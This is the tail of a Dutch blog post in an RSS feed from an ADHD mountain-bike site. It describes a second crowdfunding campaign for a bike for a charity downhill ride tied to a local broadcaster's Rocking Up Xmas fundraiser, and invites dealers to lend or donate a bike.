<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="893" height="603" src="https://adhdmtb.nl/wp-content/uploads/2024/01/SWORKS.jpg" alt="" class="wp-image-111" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/SWORKS.jpg 893w, https://adhdmtb.nl/wp-content/uploads/2024/01/SWORKS-300x203.jpg 300w, https://adhdmtb.nl/wp-content/uploads/2024/01/SWORKS-768x519.jpg 768w" sizes="(max-width: 893px) 100vw, 893px" /></figure>



<p>Dus het eerste idee was crowdfunding. Want tja, een lokale omroep heeft geen budget voor dit soort wilde acties. Maar daar was Barry dan weer tegen. &#8220;<em>Ik ga niet €2000 ophalen voor een fiets en dan voor €350 aan donaties van die berg afrollen voor een goed doel.</em>&#8220;</p>



<p>Maar met een boel geklets is hij akkoord gegaan met een alternatief plan. Een tweede crowdfunding waar in duidelijk staat vermeld dat zuur verdiende centen eerst naar het goede doel moeten en dat alleen als je echt echt echt kan missen het geld naar de fiets kan.</p>



<p>Dus we hebben een tweede crowdfunding gestart om dit te bewerkstelligen. <a href="https://www.doneeractie.nl/oei-we-missen-een-fiets/-86938">klik op deze link</a> als je hier aan wilt helpen.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><em>Wij staan natuurlijk open om een fiets te ontvangen van een dealer, fabrikant o.i.d. Deze zal dan na de afdaling terug gegeven worden of verkocht worden om als geld toe te voegen aan het eindbedrag voor Rocking Up Xmas.</em> Ben jij of ken jij zo iemand? Stuur ons dan even een berichtje via <a href="mailto:adhd@denhaagfm.nl">adhd@denhaagfm.nl</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>